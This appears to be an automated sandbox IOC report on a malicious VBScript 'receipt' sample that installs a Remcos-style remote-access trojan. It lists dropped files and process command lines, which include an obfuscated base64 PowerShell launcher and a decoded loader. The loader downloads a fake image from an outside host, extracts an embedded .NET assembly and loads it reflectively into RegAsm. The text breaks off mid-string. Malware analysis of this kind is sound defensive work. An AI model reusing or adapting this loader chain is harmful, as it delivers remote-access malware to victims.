IOC Report
Tapril-30-receipt.vbs

loading gif

Files

File Path
Type
Category
Malicious
Tapril-30-receipt.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
initial sample
 malicious
C:\ProgramData\osma.vbs
ASCII text, with CRLF line terminators
dropped
 malicious
C:\ProgramData\ova.vbs
ASCII text, with very long lines (332), with CRLF line terminators
modified
 malicious
C:\ProgramData\remcos\logs.dat
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\fbshgr.vbe
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Temp\oahxgk.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zQdp8jhj[1].txt
Unicode text, UTF-8 text, with very long lines (12085), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\eEY9exCe[1].txt
Unicode text, UTF-8 text, with very long lines (10406), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\json[1].json
JSON data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\KiVfSXMq[1].txt
Unicode text, UTF-8 text, with very long lines (11166), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\Log.tmp
ASCII text, with CRLF line terminators
modified
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sjycg2q.zw3.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2imzk442.gpv.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4doeplt3.roi.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5gconrz.wz1.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbq2efyl.2wy.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iljlgkjz.eea.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0wwkqj2.y53.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mm4qs2tz.ant.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwrpbok3.hys.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sssyoyhd.r3f.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0pqsgq5.mu3.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yausfbkn.orf.ps1
ASCII text, with no line terminators
dropped
\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON
data
dropped
\Device\Mup\user-PC\PIPE\samr
GLS_BINARY_LSB_FIRST
dropped
\Device\Mup\user-PC\PIPE\wkssvc
GLS_BINARY_LSB_FIRST
dropped
There are 18 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreaQByDgTreHDgTreDgTreYQB3DgTreHgDgTreLwBzDgTreGMDgTreLwB6DgTreG4DgTreLgBlDgTreG4DgTreaQBkDgTreGwDgTreYQByDgTreGUDgTreZwB5DgTreGEDgTredDgTreBzDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreG8DgTrecwBtDgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"
malicious
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\System32\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe"
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs"
malicious
C:\Windows\System32\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDg